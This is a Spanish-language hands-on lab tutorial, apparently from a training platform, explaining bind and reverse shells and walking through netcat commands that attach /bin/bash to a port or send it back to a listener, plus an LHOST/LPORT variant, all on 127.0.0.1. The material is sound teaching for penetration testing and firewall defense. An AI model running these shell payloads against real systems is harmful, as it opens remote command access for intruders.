Introducción
Bienvenido al laboratorio de cargas útiles de Bind Shell y Reverse Shell. En el campo de la ciberseguridad, obtener acceso remoto a un sistema es un concepto fundamental. Este acceso se logra normalmente mediante "shells" (intérpretes de comandos), que proporcionan una interfaz de línea de comandos al sistema remoto.
Existen dos métodos principales para establecer esta conexión: Bind Shells y Reverse Shells. Comprender la diferencia entre ellos es crucial tanto para la seguridad ofensiva (pruebas de penetración) como para la seguridad defensiva (configuración de firewalls y respuesta a incidentes). En este laboratorio, utilizarás netcat (a menudo llamado la "navaja suiza" de las redes) para simular e interactuar con ambos tipos de cargas útiles directamente dentro de tu entorno.
La distinción más importante es quién inicia la conexión. Esa única decisión de diseño determina qué lado debe ser accesible y qué controles de red probablemente interferirán.
Comprender los tipos de carga útil
En este paso, exploraremos las diferencias teóricas entre una Bind Shell y una Reverse Shell, y prepararemos nuestro espacio de trabajo.
Una Bind Shell ocurre cuando la máquina objetivo abre un puerto de comunicación y espera a que el atacante se conecte a él. Piénsalo como un servidor esperando a un cliente. El objetivo "vincula" (bind) una shell (como /bin/bash) a un puerto específico. El atacante luego se conecta activamente a ese puerto para obtener el control. Este método a menudo falla en escenarios del mundo real porque los firewalls suelen bloquear las conexiones entrantes a puertos inesperados.
Esto es conceptualmente simple pero operativamente frágil, ya que asume que el atacante puede llegar directamente al nuevo puerto de escucha del objetivo.
Una Reverse Shell es lo opuesto. El atacante abre un puerto de comunicación en su propia máquina y espera. La máquina objetivo es entonces forzada a conectarse activamente de vuelta a la máquina del atacante. Debido a que los firewalls generalmente permiten el tráfico saliente (como navegar por la web), las reverse shells son mucho más exitosas para evadir las restricciones de red.
Es por eso que las reverse shells dominan el diseño de cargas útiles en el mundo real: se alinean mejor con las políticas de red comunes que permiten el tráfico saliente.
Verifiquemos que nuestra herramienta netcat esté lista. Usaremos nc para crear nuestras shells. Ejecuta el siguiente comando para ver el menú de ayuda de netcat:
nc -h
Deberías ver una salida similar a esta, que incluye la bandera -e. La bandera -e es crucial porque nos permite ejecutar un programa (como una shell bash) después de que se establece una conexión:
[v1.10-47]
connect to somewhere: nc [-options] hostname port[s] [ports] ...
listen for inbound: nc -l -p port [-options] [hostname] [port]
options:
...
-e prog program to exec after connect [dangerous!!]
...
Para consolidar tu comprensión, creemos un archivo de notas rápido en el directorio de tu proyecto. Usa el comando echo para escribir un breve resumen en un archivo llamado payload_notes.txt:
echo "Bind Shell: El atacante se conecta al objetivo. Reverse Shell: El objetivo se conecta al atacante." > ~/project/payload_notes.txt
Puedes ver el contenido de tu nuevo archivo usando el comando cat:
cat ~/project/payload_notes.txt
Configurar una carga útil de Bind Shell
En este paso, configurarás y te conectarás a una Bind Shell. Simularemos tanto al "objetivo" como al "atacante" en tu máquina actual.
Primero, necesitamos configurar el objetivo. El objetivo usará netcat para escuchar en un puerto específico y vincular una shell bash a él. Usaremos el puerto 4444. Añadiremos un ampersand & al final del comando para ejecutarlo en segundo plano, permitiéndonos seguir usando la misma terminal.
Ejecuta el siguiente comando para iniciar el oyente de la Bind Shell:
nc -lvp 4444 -e /bin/bash &
Analicemos este comando. La bandera -l lo configura en modo escucha para conexiones entrantes, mientras que la bandera -v habilita el modo detallado (verbose) para proporcionar una salida más completa. El argumento -p 4444 especifica el puerto local en el que escuchar, que en este caso es 4444. El parámetro -e /bin/bash es crucial ya que ejecuta la shell bash tan pronto como se realiza una conexión. Finalmente, el símbolo & ejecuta todo el proceso en segundo plano.
Deberías ver una salida indicando que netcat está escuchando:
listening on [any] 4444 ...
Ahora, actúa como el atacante. Te conectarás al puerto abierto del objetivo. Dado que el objetivo es tu propia máquina, te conectarás a la dirección de bucle local (loopback) 127.0.0.1.
Ejecuta el siguiente comando para conectarte a la Bind Shell:
nc 127.0.0.1 4444
Verás un mensaje de conexión. Ahora estás interactuando con la shell bash vinculada al puerto 4444. Es posible que el prompt de tu terminal no cambie, pero los comandos que escribas ahora se están ejecutando a través de la conexión de netcat.
Intenta ejecutar un comando simple para verificar tu acceso:
whoami
Debería mostrar labex. Ahora, escribe exit para cerrar la conexión de la bind shell y volver a tu sesión de terminal normal:
exit
Configurar una carga útil de Reverse Shell
En este paso, configurarás una Reverse Shell. Este es el método más común y práctico en escenarios del mundo real. Aquí, el atacante configura un oyente y el objetivo ejecuta una carga útil que se conecta de vuelta al atacante.
Para que el flujo de la conexión sea más fácil de entender, usa dos ventanas o pestañas de terminal para este paso. La Terminal 1 actuará como el atacante y la Terminal 2 actuará como el objetivo.
Primero, en la Terminal 1, inicia el oyente del atacante en el puerto 5555:
nc -lvp 5555
Deja ese oyente ejecutándose. A continuación, en la Terminal 2, actúa como el objetivo y ejecuta la carga útil de la reverse shell:
nc 127.0.0.1 5555 -e /bin/bash
Tan pronto como se ejecute el segundo comando, la Terminal 1 debería mostrar una salida indicando una conexión exitosa desde el objetivo:
listening on [any] 5555 ...
connect to [127.0.0.1] from localhost [127.0.0.1] 52348
¡Has capturado exitosamente una reverse shell! El objetivo se comunicó con tu puerto de escucha. Al igual que antes, ahora puedes ejecutar comandos.
Verifica tu conexión listando el contenido del directorio actual:
ls
Deberías ver el archivo payload_notes.txt que creaste anteriormente. Una vez que hayas terminado, escribe exit para cerrar la conexión de la reverse shell:
exit
Configurar oyentes locales (LHOST/LPORT)
En marcos de trabajo de pruebas de penetración profesionales como Metasploit, encontrarás frecuentemente los términos LHOST y LPORT. LHOST (Local Host) se refiere a la dirección IP de la máquina del atacante, que es la máquina que escucha la conexión. LPORT (Local Port) se refiere al puerto específico en la máquina del atacante que está escuchando activamente esa conexión entrante.
En este paso, usarás variables de entorno de Linux para hacer que esos valores sean más fáciles de reutilizar. Nuevamente, usa dos ventanas o pestañas de terminal para que el oyente del atacante y la carga útil del objetivo permanezcan separados.
Primero, en la Terminal 1, define la variable LHOST. Como estamos probando localmente, usaremos la dirección de bucle local:
export LHOST=127.0.0.1
A continuación, define la variable LPORT. Usaremos el puerto 6666 para este ejercicio final:
export LPORT=6666
Puedes verificar que estas variables estén configuradas correctamente usando el comando echo:
echo "Listening on IP: $LHOST and Port: $LPORT"
Ahora inicia el oyente en la Terminal 1:
nc -lvp $LPORT
Luego ve a la Terminal 2 y define las mismas variables allí:
export LHOST=127.0.0.1
export LPORT=6666
Usa esas variables para ejecutar la carga útil de la reverse shell desde la Terminal 2:
nc "$LHOST" "$LPORT" -e /bin/bash
De vuelta en la Terminal 1, verás la conexión establecida en el puerto 6666:
listening on [any] 6666 ...
connect to [127.0.0.1] from localhost [127.0.0.1] 48112
Ahora estás conectado a través de la reverse shell usando variables dinámicas. Ejecuta un comando para verificar:
pwd
Finalmente, sal de la shell para completar el ejercicio:
exit
Resumen
¡Felicidades! En este laboratorio, has explorado con éxito la mecánica de las Bind Shells y las Reverse Shells. Aprendiste que las Bind Shells requieren que el atacante se conecte al objetivo, mientras que las Reverse Shells requieren que el objetivo se conecte de vuelta al atacante, lo que las hace altamente efectivas contra firewalls. También practicaste la configuración de estas cargas útiles usando netcat y aprendiste cómo utilizar las variables de entorno LHOST y LPORT para configurar dinámicamente oyentes locales. Estos conceptos fundamentales son esenciales para comprender la seguridad de red y la entrega de cargas útiles.
